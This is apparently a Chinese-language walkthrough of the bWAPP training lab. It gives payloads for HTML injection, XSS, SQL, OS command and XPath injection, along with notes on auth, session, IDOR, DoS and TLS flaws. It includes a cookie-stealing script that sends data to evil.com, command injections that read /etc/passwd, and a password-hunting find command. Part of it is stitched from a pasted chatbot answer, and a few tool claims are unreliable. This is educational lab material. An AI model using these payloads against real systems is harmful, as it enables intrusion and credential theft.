目录

Low级别

---A1 - Injection{注入}--

HTML Injection - Reflected (GET)

HTML Injection - Reflected (POST)

HTML Injection - Reflected (URL)

HTML Injection - Stored (Blog)

iFrame Injection

LDAP Connection Settings

Mail Header Injection (SMTP)

OS Command Injection

OS Command Injection - Blind

PHP Code Injection

Server-Side Includes (SSI) Injection

SQL Injection (GET/Search)

SQL Injection (GET/Select)

SQL Injection (POST/Search)

SQL Injection (POST/Select)

SQL Injection (AJAX/JSON/jQuery)

Manual Intervention Required!

SQL Injection (Login Form/Hero)

SQL Injection (Login Form/User)

SQL Injection (SQLite){SQLite 暂时不处理需要单独安装}

SQL Injection (Drupal) {不处理}

SQL Injection - Stored (Blog)

SQL Injection - Stored (SQLite)

SQL Injection - Stored (User-Agent)

SQL Injection - Stored (XML)

SQL Injection - Blind - Boolean-Based

SQL Injection - Blind - Time-Based

SQL Injection - Blind (SQLite){暂时不处理SQLLite}

SQL Injection - Blind (WS/SOAP)

XML/XPath Injection (Login Form)

XML/XPath Injection (Search)

--A2 - Broken Auth. & Session Mgmt--

Broken Authentication - CAPTCHA Bypassing

Broken Auth. - Forgotten Function

Broken Auth. - Insecure Login Forms

Broken Auth. - Logout Management

Broken Auth. - Weak Passwords

Broken Auth. - Password Attacks

Session Mgmt. - Administrative Portals

Session Mgmt. - Cookies (HTTPOnly)

Session Management - Cookies (Secure)

Session Management - Session ID in URL

Session Management - Strong Sessions

--/ A3 - Cross-Site Scripting (XSS)/--

Cross-Site Scripting - Reflected (GET)

XSS - Reflected (POST)

Cross-Site Scripting - Reflected (JSON)

Cross-Site Scripting - Reflected (AJAX/JSON)

Cross-Site Scripting - Reflected (Back Button)

Cross-Site Scripting - Reflected (Custom Header)

Cross-Site Scripting - Reflected (Eval)

Cross-Site Scripting - Reflected (HREF)

Cross-Site Scripting - Reflected (Login Form)

Cross-Site Scripting - Reflected (phpMyAdmin)

Cross-Site Scripting - Reflected (PHP_SELF)

Cross-Site Scripting - Reflected (Referer)

Cross-Site Scripting - Reflected (User-Agent)

Cross-Site Scripting - Stored (Blog)

Cross-Site Scripting - Stored (Change Secret)

Cross-Site Scripting - Stored (Cookies)

Cross-Site Scripting - Stored (SQLiteManager)

Cross-Site Scripting - Stored (User-Agent)

---

Low级别

---A1 - Injection{注入}--

HTML Injection - Reflected (GET)

HTML 注入 - 反射 (GET)

这个简单输入 常规的xss语句 <script>alert('XSS')</script>

---

HTML Injection - Reflected (POST)

<img src="x" onerror="alert('XSS')">

插入一个img标签 src引用x地址 如果没有这报错xss弹框

---

HTML Injection - Reflected (URL)

<script>alert('XSS');</script>

这一关只能在IE浏览器上执行 其余的浏览器 火狐以及谷歌浏览器不行

---

HTML Injection - Stored (Blog)

<div onmouseover="alert('XSS')">Hover over me!</div>

---

iFrame Injection

iFrame注入攻击是一种将恶意网页嵌入到目标网站中的攻击方式，通常用于窃取用户的敏感信息，绕过内容安全策略，或进行跨站点脚本攻击。

读取项目文件夹下文件

LDAP Connection Settings

LDAP注入漏洞可能允许攻击者向LDAP查询中注入恶意代码，从而获取不应访问的数据

Mail Header Injection (SMTP)

OS Command Injection

net user || whoami

OS Command Injection - Blind

盲注操作系统命令注入漏洞与普通的命令注入类似，不同之处在于攻击者无法直接看到输出，而是通过不同的响应来推测命令的执行结果

whoami `sleep 5 `

• 尝试在输入字段中注入命令，例如：| ls 或 ; cat /etc/passwd。
• 利用盲注技巧，例如使用时间延迟（; sleep 5）来判断命令是否成功执行。
• 通过不同的响应时间或错误信息，逐步推测出成功的注入命令。

PHP Code Injection

php代码注入

?message=phpinfo()

---

Server-Side Includes (SSI) Injection

服务器端包含 (SSI) 注入

---

SQL Injection (GET/Search)

' OR 1=1 --
' and 1=1 --

• 报错则代表含有sql注入漏洞

---

SQL Injection (GET/Select)

http://192.168.1.6/bwa/sqli_2.php?movie=5 order by 10,11--+&action=go

SQL Injection (POST/Search)

我们尝试I'发现报错

---

SQL Injection (POST/Select)

• 同上，只不过变成了select的，post抓包修改一样的
• 抓包 post 请求 参数请求方式不一样

---

SQL Injection (AJAX/JSON/jQuery)

• ajax他是一个异步通讯
• 能够在网页不刷新的情况下，刷新网页内部的东西而它的返回值一般是json/xml格式的，jQuery中提供实现ajax的方法

a%' order by 7#

' union select 1,2,3,4,5,6,7 #

Manual Intervention Required!

• 无法使用 不知道为什么

SQL Injection (Login Form/Hero)

admin order by 5 #

• 存在sql注入
• 5 报错
• 那说明只有4行

行了说到这里 什么报错注入 什么注入 都可以玩玩看了

SQL Injection (Login Form/User)

admin' order by 10 #

存在sql注入 后续就采用其它sql注入方式进行注入

SQL Injection (SQLite){SQLite 暂时不处理需要单独安装}

SQL Injection (Drupal) {不处理}

SQL Injection - Stored (Blog)

admin') --+

• 语法报错存在sql注入报错
• 存在堆叠注入

test',(select database())) #

SQL Injection - Stored (SQLite)

(暂时无法使用，但是和上一关类似，只不过语法变成了sqlite的)

SQL Injection - Stored (User-Agent)

看一下UserAgent 1' 报错存在sql注入语句

那么我们尝试闭合语句

ming',(select database())) #

SQL Injection - Stored (XML)

xml 实体注入 加入sql注入语句

<user>
    <name>test' OR '1'='1</name>
    <password>password</password>
</user>

报错注入拿到表信息 至于报错注入如何使用这个看一下我写的关于报错注入的文章 很详细哟

SQL Injection - Blind - Boolean-Based

Man+of+Steel'+and+1=1#
Man+of+Steel'+and+1=1 --
Man+of+Steel'+and+length(database())=3 --+

SQL Injection - Blind - Time-Based

1'+or+if(length(database())=1,10,sleep(30)) --+

SQL Injection - Blind (SQLite){暂时不处理SQLLite}

SQL Injection - Blind (WS/SOAP)

• 盲注一般都是打管理后台 这个注意一下 
• 这个我在sql注入专题中也说过

XML/XPath Injection (Login Form)

XML实体注入

查看源码得知是通过读取heroes.xml文件的内容, 并且通过xpath寻找用户的账户和密码来验证登录:

username:superhero

password:superhero

heroes.xml文件, 是一个xml文件, 里面包含了用户名和登录密码等信息:

$result = $xml->xpath("/heroes/hero[login='"123' or 1=1 or ''=' "' and password='" . $password . "']");
构造永真，，万能密码登录

XML/XPath Injection (Search)

也是加入一个单引号 报错则存在xml注入漏洞

--A2 - Broken Auth. & Session Mgmt--

Broken Authentication - CAPTCHA Bypassing

验证码（CAPTCHA）设计的目的是防止机器人自动提交表单进行攻击。

• 绕过验证码可能导致未经授权的自动化攻击。

攻击方案：

• 通过分析验证码的生成算法或者通过自动化工具（如OCR）来识别验证码的内容。
• 使用自动化工具（如Python的Tesseract库或其他验证码破解工具）来绕过CAPTCHA。
  • 其实这里我更喜欢用云打码+python 来进行验证码识别后 在进行暴力破解 就相对简单很多了
• 如果验证码是简单的图像验证码，可以通过暴力破解方法进行尝试。

Broken Auth. - Forgotten Function

如果忘记密码功能实现不当，攻击者可能通过这一功能重置目标账户的密码。

同样的使用BP爆破就可以解决

Broken Auth. - Insecure Login Forms

漏洞描述：登录表单如果不通过加密的协议（如HTTPS）传输敏感信息，攻击者可能会拦截密码等凭证。

查看页面元素 很显眼这里就是信息泄露

Broken Auth. - Logout Management

漏洞描述：登出功能没有正确清除用户会话，可能会导致会话劫持攻击。

解题方案：

• 测试登出功能：登录后尝试登出，查看是否完全清除会话信息（如会话cookie）。
• 会话恢复：尝试重用已过期的会话ID或重新使用登出后未清除的cookie，检查是否可以重新获得访问权限。

这里分为三个等级，
low 退出登录，session仍然可用
medium 退出登录时，销毁session
high时，清空session，销毁session

Broken Auth. - Weak Passwords

漏洞描述：密码攻击，包括暴力破解和字典攻击，通常通过不断尝试不同的密码组合来攻破账户。

解题方案：

• 暴力破解工具：使用 Hydra、Burp Suite 等工具进行密码暴力破解，尝试常见的用户名和密码组合。
• 字典攻击：使用 rockyou.txt 或其他密码字典进行攻击，测试系统是否能够防止密码猜解。
• 检测密码锁定机制：检查系统是否设置了失败登录次数限制或账户锁定机制来防止暴力破解。

BP打爆破就可以了无需多说

Broken Auth. - Password Attacks

漏洞描述：用户设置的密码过于简单，容易被猜解或通过暴力破解攻击获取。

解题方案：

• 使用常见密码字典：通过使用常见的密码字典（如rockyou.txt）进行暴力破解攻击。
• 测试密码复杂度要求：检查注册或密码设置时是否有复杂度要求，尝试绕过这一要求设置弱密码。
• 密码暴力破解：使用工具如 Hydra、Medusa 进行密码破解，查看是否有弱密码可以被暴力破解。

BP破解就可以了

Session Mgmt. - Administrative Portals

漏洞描述：管理员门户的访问控制没有被妥善实现，攻击者可以直接访问管理员界面。

解题方案：

• 暴力破解管理员账户：尝试使用暴力破解工具（如 Hydra）对管理员账户进行密码攻击。
• URL直接访问：尝试直接访问管理页面的URL（如 /admin），查看是否存在没有正确保护的管理员入口。

看一下URL地址 修改URL地址就可以过这一关了

Session Mgmt. - Cookies (HTTPOnly)

漏洞描述：如果会话cookie没有设置HTTPOnly标志，JavaScript可能会窃取cookie，导致会话劫持。

解题方案：

• 检查cookie标志：通过浏览器开发者工具检查cookie是否标记为HTTPOnly。如果没有，尝试通过XSS注入获取会话cookie。
• 进行XSS攻击：通过注入恶意脚本（如 <script>document.location='http://evil.com?cookie='+document.cookie</script>）来窃取会话cookie。

CSRF攻击可能就会获取到网页上的cookie

---

Session Management - Cookies (Secure)

漏洞描述：如果cookie没有设置 Secure 标志，可能在不安全的HTTP连接上传输，导致cookie泄露。

解题方案：

• 检查Secure标志：通过开发者工具检查会话cookie是否标记为 Secure。如果没有，尝试通过HTTP请求拦截cookie。
• MITM攻击：使用中间人攻击工具（如Burp Suite、Wireshark）查看是否能够捕获未加密传输的cookie。

Session Management - Session ID in URL

漏洞描述：如果会话ID通过URL传递，攻击者可以通过URL重用或共享来窃取会话ID。

解题方案：

• 检查URL传递的会话ID：登录后检查URL是否包含会话ID（如 http://example.com/dashboard?sessionid=12345）。如果会话ID通过URL传递，可能导致会话泄露。
• 会话固定攻击：尝试手动修改URL中的会话ID，检查是否可以访问其他用户的会话。

session，存在了url中

---

Session Management - Strong Sessions

session需要进行加密，
low 无加密

漏洞描述：如果会话ID生成不随机，攻击者可以通过暴力破解、会话固定等方法劫持会话。

解题方案：

• 测试会话ID的复杂性：检查会话ID是否足够随机。如果会话ID很短或容易猜测，可以使用暴力破解攻击来猜解。
• 会话固定：尝试通过修改请求的会话ID参数来劫持用户会话。
• 会话过期机制：检查系统是否有适当的会话过期机制，如果会话ID没有定期失效，可能会增加攻击风险。

---

--/ A3 - Cross-Site Scripting (XSS)/--

Cross-Site Scripting - Reflected (GET)

<script>alert('XSS')</script>

无过滤，随便弹，
medium 使用addslashes()函数来进行过滤
high 使用 htmlspecialchars()函数来进行过滤

XSS - Reflected (POST)

漏洞描述：通过表单 POST 请求提交数据时注入恶意脚本。

• 和上面的get请求一样 

• 解题方案：

• 向 POST 请求中提交恶意脚本。使用浏览器的开发者工具或工具如 Burp Suite，检查表单提交的字段，并在提交的字段中插入脚本：

<script>alert('XSS')</script>

Cross-Site Scripting - Reflected (JSON)

漏洞描述：通过 JSON 响应返回恶意脚本。

解题方案：

• 检查通过 JSON 返回的动态内容是否直接包含未经过滤的用户输入。如果包含，则可以通过注入恶意脚本来执行 XSS 攻击。

{"user": "<script>alert('XSS')</script>"}

---

Cross-Site Scripting - Reflected (AJAX/JSON)

漏洞描述：通过 AJAX 请求返回的 JSON 数据中反射恶意脚本。

解题方案：

• 向后台发送带有恶意脚本的 AJAX 请求，检查返回的 JSON 数据是否直接插入到页面中。如果是，可能会触发 XSS 攻击

function getCrossRescource () {
  $.ajax({
     url:"http://www.other.com/goods.json",
     success:function(){
       // do something 
     }
  });
}

Cross-Site Scripting - Reflected (Back Button)

漏洞描述：通过浏览器的后退按钮注入的 XSS。

解题方案：

• 在表单提交后，通过后退按钮返回页面。如果返回的页面未正确过滤用户输入，则恶意脚本可能会在页面上执行。

Cross-Site Scripting - Reflected (Custom Header)

漏洞描述：通过自定义 HTTP 头部（如 Referer、User-Agent 等）进行注入。

解题方案：

• 在自定义的 HTTP 请求头中注入恶意脚本，例如：

Referer: <script>alert('XSS')</script>

如果服务器在页面渲染时没有适当过滤这些头部内容，XSS 攻击可能会得逞。

Cross-Site Scripting - Reflected (Eval)

漏洞描述：通过 eval() 函数执行恶意代码。

解题方案：

• 如果页面或 JavaScript 代码使用了 eval() 函数且未经过适当过滤，尝试通过注入恶意脚本来执行：
• 在URL中加入　

• eval('alert(1)')
  

Cross-Site Scripting - Reflected (HREF)

漏洞描述：通过 URL 中的 href 属性注入恶意脚本。

解题方案：

• 在页面中的链接（<a> 标签的 href）中注入脚本，例如：

• <a href="javascript:alert('XSS')">Click me</a>
  

Cross-Site Scripting - Reflected (Login Form)

漏洞描述：通过登录表单注入恶意脚本。

解题方案：

• 在登录表单的输入字段（如用户名或密码字段）中注入恶意脚本，检查登录后是否存在脚本反射。如果存在，脚本将在用户的浏览器中执行。

• <script>alert('XSS')</script>
  

Cross-Site Scripting - Reflected (phpMyAdmin)

漏洞描述：通过 phpMyAdmin 页面注入恶意脚本。

解题方案：

• 通过 phpMyAdmin 的输入字段（如 SQL 查询字段）注入恶意脚本，查看是否存在 XSS 漏洞。 示例：

• SELECT * FROM users WHERE username='<script>alert(1)</script>';
  

Cross-Site Scripting - Reflected (PHP_SELF)

漏洞描述：通过 PHP_SELF 参数注入恶意脚本。

解题方案：

• 检查 PHP_SELF 参数中是否有直接插入用户输入。如果没有过滤，恶意脚本可能会在页面中执行。 示例：

• http://192.168.1.6/bwa/xss_php_self.php?firstname=<script>alert('XSS')</script>&lastname=123&form=submit

Cross-Site Scripting - Reflected (Referer)

漏洞描述：通过 HTTP Referer 头部注入恶意脚本。

解题方案：

• 向网站发送带有恶意脚本的 HTTP Referer 头部，并观察服务器如何反射该头部内容。如果没有过滤，XSS 攻击可能会得逞。

Cross-Site Scripting - Reflected (User-Agent)

漏洞描述：通过 User-Agent 头部注入恶意脚本。

解题方案：

• 向 Web 应用发送带有恶意脚本的 User-Agent 头部，例如：

  javascript

  复制编辑

  User-Agent: <script>alert('XSS')</script>

  如果服务器将 User-Agent 反射到页面中并执行未经过滤的脚本，攻击可能成功。

Cross-Site Scripting - Stored (Blog)

漏洞描述：攻击者通过博客文章提交恶意脚本。

解题方案：

• 尝试在博客文章的输入框中注入恶意脚本，如果该脚本没有被过滤并存储，访问该页面时会执行 XSS 攻击。

Cross-Site Scripting - Stored (Change Secret)

漏洞描述：攻击者通过更改秘密（如用户设置）提交恶意脚本。

解题方案：

• 在用户设置的“更改秘密”字段中注入恶意脚本，查看是否会反射并存储恶意代码。

Cross-Site Scripting - Stored (Cookies)

漏洞描述：攻击者通过注入恶意脚本到 cookies 中。

解题方案：

• 检查 cookies 是否存储未经验证的用户输入。如果存在，尝试通过恶意脚本来读取或修改用户的 cookies。

---

Cross-Site Scripting - Stored (SQLiteManager)

漏洞描述：通过 SQLite 管理界面提交恶意脚本。

解题方案：

• 尝试在 SQLiteManager 中的输入框中注入恶意脚本，查看是否会执行。

---

Cross-Site Scripting - Stored (User-Agent)

漏洞描述：通过 User-Agent 头部提交恶意脚本。

解题方案：

• 向 Web 应用发送带有恶意脚本的 User-Agent 头部，并检查服务器是否会将其反射到页面中。

---

A4 - Insecure Direct Object References (IDOR)

Insecure DOR (Change Secret)

漏洞描述：用户可以通过修改请求中的对象标识符（如用户 ID 或文件名）来访问和修改本不应有权限访问的数据。

解题方案：

• 目标：找到一个可以访问用户设置（如用户秘密或密码）的功能，并通过修改请求中的参数（如用户 ID）访问其他用户的秘密。
• 攻击步骤：
  1. 登录到靶场应用并进入“更改秘密”功能。
  2. 通过修改 URL 或请求中的 user_id 参数，尝试访问其他用户的秘密。
  3. 例如：

     http://example.com/change_secret.php?user_id=1
     http://example.com/change_secret.php?user_id=2
     

     将 user_id 从 1 更改为其他用户的 ID，查看是否能够修改其他用户的秘密。

这里就是修改 input标签中的用户名 就可以直接更改其他用户的密码

---

nsecure DOR (Reset Secret)

漏洞描述：攻击者通过修改请求参数来重置其他用户的秘密（如密码或密钥）。

解题方案：

• 目标：找到密码重置功能，修改请求中的用户标识符或其他参数来重置其他用户的密码。
• 攻击步骤：
  1. 查找密码重置页面，例如：reset_password.php?user_id=1。
  2. 尝试通过更改 user_id 来重置其他用户的密码。

     http://example.com/reset_password.php?user_id=1
     http://example.com/reset_password.php?user_id=2
     

和上面的靶场一样修改这个用户名就可以重置对应用户的密码了

---

Insecure DOR (Order Tickets)

漏洞描述：攻击者通过修改请求中的对象标识符来购买或查看其他用户的票据。

解题方案：

• 目标：修改 URL 参数（如订单号）来获取其他用户的票务信息。
• 攻击步骤：
  1. 观察订单查询页面，例如：order_ticket.php?order_id=12345。
  2. 更改 order_id 参数尝试访问其他订单的票务信息：

     http://example.com/order_ticket.php?order_id=12345
     http://example.com/order_ticket.php?order_id=12346
     

修改input标签内容就可以该表价格 实现0元购物

---

A5 - Security Misconfiguration

Arbitrary File Access (Samba)

漏洞描述：Samba 配置不当，允许远程用户访问不应公开的文件。

解题方案：

• 目标：通过访问 Samba 共享，查找可能泄露敏感文件的路径。
• 攻击步骤：
  1. 使用工具如 smbclient 或 nmap 扫描 Samba 服务。
  2. 使用文件浏览器或命令行工具（如 smbclient）访问共享目录，寻找不应公开的文件。

---

Cross-Domain Policy File (Flash)

漏洞描述：Flash 配置错误，允许跨域访问敏感资源。

解题方案：

• 目标：利用 Flash 的跨域策略文件（crossdomain.xml），攻击者可以从其他域访问敏感资源。
• 攻击步骤：
  1. 查找 crossdomain.xml 文件，检查是否存在敏感的跨域访问配置。
  2. 使用恶意的 Flash 应用程序来尝试访问未授权的资源。

• Flash已经过时了 这个忽略不计

---

Cross-Origin Resource Sharing (AJAX)

漏洞描述：CORS 配置错误，允许未经授权的站点访问敏感的 AJAX 请求和响应数据。

解题方案：

• 目标：检查是否存在不受限制的 CORS 配置，允许跨域 AJAX 请求。
• 攻击步骤：
  1. 使用浏览器的开发者工具查看 AJAX 请求的响应头，寻找 Access-Control-Allow-Origin。
  2. 如果允许任何域（*）访问敏感资源，使用跨域的恶意站点访问这些资源。

---

Cross-Site Tracing (XST)

漏洞描述：HTTP TRACE 方法启用，攻击者可以通过 TRACE 请求获得 HTTP 请求的完整信息。

解题方案：

• 目标：通过发送 TRACE 请求获取敏感信息。
• 攻击步骤：
  1. 使用 curl 或 Burp Suite 等工具发送 TRACE 请求：

     curl -X TRACE http://example.com
     

  2. 检查响应是否泄漏敏感的请求头信息。

---

Denial-of-Service (Large Chunk Size)

漏洞描述：攻击者通过发送非常大的数据块来消耗系统资源，导致服务不可用。

解题方案：

• 目标：通过发送异常大的请求体来发起 DoS 攻击。
• 攻击步骤：
  1. 使用工具如 Burp Suite 或 flood 脚本发送大量数据到服务器，检查系统是否崩溃或变得不可用。

---

Denial-of-Service (Slow HTTP DoS)

漏洞描述：通过慢速 HTTP 请求（慢速攻击）使服务器资源耗尽，导致拒绝服务。

解题方案：

• 目标：通过缓慢发送 HTTP 请求，使服务器无法处理足够的请求。
• 攻击步骤：
  1. 使用工具如 Slowloris 发起慢速 HTTP DoS 攻击。
  2. 监控目标服务器的响应时间和负载，直到其崩溃。

---

Denial-of-Service (SSL-Exhaustion)

漏洞描述：通过耗尽 SSL 资源，发起 SSL 协议的拒绝服务攻击。

解题方案：

• 目标：通过大量的 SSL 握手请求耗尽目标的 SSL 资源。
• 攻击步骤：
  1. 使用工具如 SSLstrip 或 sslh 来发起 SSL 消耗攻击。
  2. 监控目标服务器的 CPU 和内存使用情况，直到服务器响应超时或崩溃。

---

Denial-of-Service (XML Bomb)

漏洞描述：通过发送精心构造的 XML 数据，导致服务器处理时消耗过多资源。

解题方案：

• 目标：通过发送大量嵌套的 XML 数据让服务器消耗过多的 CPU 和内存资源。
• 攻击步骤：
  1. 生成 XML Bomb（通常是大量递归的 <entity> 元素）。
  2. 发送到目标服务器并监控服务器是否变慢或崩溃。

---

Insecure FTP Configuration

漏洞描述：FTP 服务配置不当，导致敏感文件泄漏或可以被篡改。

解题方案：

• 目标：检查 FTP 配置是否存在弱口令或未加密的文件传输。
• 攻击步骤：
  1. 使用 nmap 扫描 FTP 服务，检查是否开启匿名登录。
  2. 使用 FTP 客户端（如 FileZilla）尝试通过匿名登录访问敏感文件。

不搞没有环境

---

Insecure SNMP Configuration

SNMP（简单网络管理协议）是一种用于网络设备管理的协议。如果 SNMP 配置不当，攻击者可能会获取设备的敏感信息，如设备配置、网络拓扑、系统状态等。

漏洞表现：

• 使用默认的 SNMP 社区字符串（例如 public 和 private）；
• 未配置 SNMP 版本的安全措施（例如 SNMPv3）；
• 公开敏感信息，暴露给外部攻击者。

解决方案：

• 更改 SNMP 社区字符串，并确保它们复杂、独特；
• 使用 SNMPv3，它支持身份验证和加密；
• 限制 SNMP 请求的源 IP 地址（只允许受信任的网络访问）；
• 关闭不必要的 SNMP 服务；
• 定期审查 SNMP 配置并进行安全性检查。

---

Insecure WebDAV Configuration

WebDAV（Web 分布式创作与版本控制协议）允许用户通过 HTTP 协议进行文件管理。

配置不当的 WebDAV 可能允许未经授权的用户上传、下载或删除文件。

漏洞表现：

• WebDAV 服务器允许匿名访问；
• 服务器没有正确的权限控制；
• 上传未经验证的文件。

解决方案：

• 确保 WebDAV 配置要求身份验证；
• 配置合理的文件上传限制和类型过滤；
• 使用 HTTPS 强制加密通信，避免敏感数据泄露；
• 关闭不必要的 WebDAV 服务或功能；
• 定期更新 WebDAV 服务以修复已知漏洞。

---

Local Privilege Escalation (sendpage)

sendpage 是一个程序，允许用户将消息发送到计算机的不同端口。如果它没有正确配置或不安全，攻击者可以利用它来提升权限。

漏洞表现：

• sendpage 程序没有适当的权限限制；
• 程序执行时有漏洞（例如缓冲区溢出）。

解决方案：

• 限制 sendpage 的访问权限，确保它只能由授权用户执行；
• 确保程序运行时不具有不必要的高权限；
• 进行代码审查，修复潜在的漏洞（例如缓冲区溢出）；
• 使用 SELinux、AppArmor 等强制访问控制来保护程序；
• 定期更新 sendpage，确保修复已知漏洞。

---

Local Privilege Escalation (udev)

udev 是 Linux 系统中的设备管理器，它负责在设备插入时创建设备节点。如果配置不当，攻击者可能会利用它来提升权限。

漏洞表现：

• udev 的规则文件存在不安全的配置（例如权限设置过于宽松）；
• 未限制 udev 访问特定设备。

解决方案：

• 审查并加强 udev 配置，确保设备节点的权限设置正确；
• 使用 udevadm control 工具来控制 udev 服务的行为；
• 更新系统并修复 udev 中已知的漏洞；
• 审查并限制对设备节点的访问，避免非授权用户操作设备。

---

Man-in-the-Middle Attack (HTTP)

中间人攻击（MITM）发生在攻击者能够拦截并篡改客户端与服务器之间的通信时，尤其是在 HTTP 通信中。

漏洞表现：

• 使用不安全的 HTTP 协议进行通信；
• 没有实施 SSL/TLS 加密。

解决方案：

• 强制使用 HTTPS，确保通信加密；
• 配置 HTTP Strict Transport Security (HSTS)，强制浏览器使用 HTTPS；
• 使用 SSL/TLS 证书并定期更新，避免过期证书；
• 防止证书钓鱼攻击，确保网站使用有效的、由信任的证书颁发机构签发的证书。

没有环境

---

Man-in-the-Middle Attack (SMTP)

中间人攻击也可以发生在 SMTP（简单邮件传输协议）通信中，攻击者可以截获、修改邮件内容。

漏洞表现：

• 使用不安全的 SMTP 协议（即未加密的通信）；
• 没有启用 SMTP 身份验证。

解决方案：

• 配置 STARTTLS，确保 SMTP 连接通过加密通道传输；
• 使用强密码进行身份验证，并避免匿名访问；
• 实施 DMARC、SPF 和 DKIM 来保护电子邮件的完整性和防止伪造。

---

Old/Backup & Unreferenced Files

旧的、备份文件或者没有被引用的文件可能包含敏感信息或配置文件，攻击者可能通过访问这些文件获得攻击目标。

漏洞表现：

• 旧的 .bak、.old、.swp 文件未被删除；
• 配置文件、数据库文件等暴露给外部用户。

解决方案：

• 定期清理系统中的备份文件、旧文件和临时文件；
• 确保敏感文件有适当的访问控制权限；
• 使用工具扫描并识别未被引用的文件。

---

Robots File

robots.txt 文件通常用于指导搜索引擎蜘蛛哪些页面需要索引，哪些页面需要忽略。如果配置不当，它可能泄露敏感信息。

漏洞表现：

• 在 robots.txt 文件中列出敏感的路径或文件，供攻击者发现。

解决方案：

• 不在 robots.txt 文件中列出敏感的路径或文件；
• 除非有明确的需求，否则限制 robots.txt 文件的公开访问；
• 使用其他方法（如 HTTP 认证）来限制敏感页面的访问权限。

---

A6 - Sensitive Data Exposure

Base64 Encoding (Secret)

漏洞描述：敏感数据（如密码、密钥等）通过 Base64 编码存储或传输，Base64 不是加密方法。

解题方案：

• 目标：找到 Base64 编码存储的敏感信息，并解码。
• 攻击步骤：
  1. 查找 URL 或请求中的 Base64 编码数据。
  2. 使用在线 Base64 解码工具或命令行工具解码数据。

cookie存在base64 数据 直接base64解码就可以了

---

BEAST/CRIME/BREACH Attacks

漏洞描述：这些攻击利用 SSL/TLS 协议中的漏洞进行加密流量破解。

解题方案：

• 目标：使用合适的工具（如 Wireshark、SSL Labs）测试目标站点是否脆弱。
• 攻击步骤：
  1. 通过工具如 SSL Labs 检查是否存在这些已知的加密漏洞。
  2. 如果存在漏洞，进行相关的攻击测试。

---

Clear Text HTTP (Credentials)

漏洞描述：通过 HTTP 发送敏感信息（如密码）而没有加密。

解题方案：

• 目标：通过监听网络流量或使用中间人攻击来捕获传输中的明文凭证。
• 攻击步骤：
  1. 使用 `Wireshark

---

BWAPP（Buggy Web Application）是一个提供 Web 安全漏洞练习的靶场，包含多种漏洞和攻击类型。以下是针对您所提及漏洞的详细通关答案，包括漏洞原理、攻击手法及防御措施：

---

Heartbleed Vulnerability (CVE-2014-0160)

漏洞原理： Heartbleed 漏洞出现在 OpenSSL 中的 Heartbeat 扩展（RFC 6520），它允许攻击者通过发送特制的 Heartbeat 请求来泄露服务器内存中的敏感数据。攻击者可以读取服务器内存中的数据（如 SSL/TLS 密钥、会话信息、密码等）。

攻击手法：

• 攻击步骤：

  1. 攻击者发送一个精心构造的 Heartbeat 请求，要求服务器返回超过实际数据长度的数据。
  2. 服务器错误地响应并泄露其内存中的内容，包括敏感信息。

• 工具：

  • 使用 nmap 执行 Heartbleed 漏洞检测：

    nmap --script=ssl-heartbleed -p 443 <target-ip>
    

  • 或者使用专用工具 Heartbleed Scanner。

• 修复方法：

  1. 升级 OpenSSL 至 1.0.1g 或更高版本。
  2. 重置受影响服务器上的 SSL 证书和密钥。
  3. 禁用 Heartbeat 扩展。

---

Host Header Attack (Reset Poisoning)

漏洞原理： Host Header 攻击通过修改 HTTP 请求中的 Host 头部字段，欺骗 Web 应用执行恶意操作。攻击者可以通过伪造 Host 头引发重定向攻击、XSS 或利用 Web 应用的逻辑缺陷。

攻击手法：

• 攻击步骤：

  1. 攻击者使用代理工具（如 Burp Suite）修改请求中的 Host 头。
  2. 修改后的请求可能使应用执行重定向、返回错误消息或漏洞利用，如：

  GET / HTTP/1.1
  Host: malicious.com
  

• 修复方法：

  1. 在应用中验证 Host 头，确保它只匹配已知的合法域名。
  2. 采用 Web 应用防火墙（WAF）进行请求过滤。

---

HTML5 Web Storage (Secret)

漏洞原理： HTML5 Web Storage（localStorage 和 sessionStorage）允许在客户端浏览器中存储数据。如果敏感信息（如会话令牌、密码）以明文存储在 Web Storage 中，攻击者通过 XSS 攻击可以窃取这些信息。

攻击手法：

• 攻击步骤：

  1. 攻击者通过 XSS 注入恶意 JavaScript 代码到 Web 应用。
  2. 注入的 JavaScript 代码可以访问 localStorage 或 sessionStorage，从中窃取敏感数据。

  console.log(localStorage.getItem('session_token'));
  

• 修复方法：

  1. 避免存储敏感信息在 Web Storage 中，尤其是 localStorage 和 sessionStorage。
  2. 使用加密存储敏感数据。
  3. 强化 XSS 防护机制，使用输入过滤、输出编码及 CSP（内容安全策略）。

---

POODLE Vulnerability (CVE-2014-3566)

漏洞原理： POODLE 漏洞是 SSL 3.0 协议中的一个已知安全问题，攻击者可以通过中间人攻击（MITM）操纵加密数据，从而解密并窃取敏感信息。

攻击手法：

• 攻击步骤：
  1. 攻击者通过中间人攻击拦截 SSL 3.0 加密流量。
  2. 通过利用填充漏洞，攻击者可以反复推测加密数据，从而恢复明文信息。
• 工具：
  • 使用 SSL Labs 或 nmap 工具检查是否启用了 SSL 3.0。
• 修复方法：
  1. 禁用 SSL 3.0 协议，启用 TLS 1.2 或 1.3。
  2. 更新 Web 服务器配置，禁用 SSL 3.0。
  • Apache：

    SSLProtocol all -SSLv2 -SSLv3
    

  • Nginx：

    ssl_protocols TLSv1.2 TLSv1.3;
    

---

SSL 2.0 Deprecated Protocol

漏洞原理： SSL 2.0 是一个过时且不安全的加密协议，已被多项攻击方法攻破（如 POODLE、Padding Oracle）。攻击者可以通过中间人攻击或协议降级攻击轻松破解数据。

攻击手法：

• 攻击步骤：

  1. 攻击者尝试通过降级攻击迫使服务器使用 SSL 2.0。
  2. 使用 SSL 2.0 后，攻击者可以通过已知漏洞对加密数据进行攻击。

• 修复方法：

  1. 禁用 SSL 2.0 协议，只启用 TLS 1.2 或 1.3。
  2. 更新 Web 服务器配置以禁用 SSL 2.0。
  • Apache：

    SSLProtocol all -SSLv2
    

  • Nginx：

    ssl_protocols TLSv1.2 TLSv1.3;
    

---

Text Files (Accounts)

漏洞原理： 将敏感信息（如用户名、密码、会话令牌）存储在纯文本文件中，是一种非常危险的做法。攻击者可以通过访问这些文件窃取敏感数据，尤其是在文件权限配置不当的情况下。

攻击手法：

• 攻击步骤：

  1. 攻击者可以通过文件扫描工具（如 find）查找包含敏感信息的文本文件。
  2. 如果文件没有加密或设置适当权限，攻击者可以直接读取其中的敏感数据。

  find / -name "*.txt" | xargs grep "password"
  

• 修复方法：

  1. 避免将敏感信息存储在纯文本文件中，采用数据库或加密存储。
  2. 使用加密存储敏感数据，并确保密钥管理安全。
  3. 强化文件系统权限控制，确保只有授权用户可以访问敏感文件。

---

-----------------------以下未处理

-----------------------以下未处理

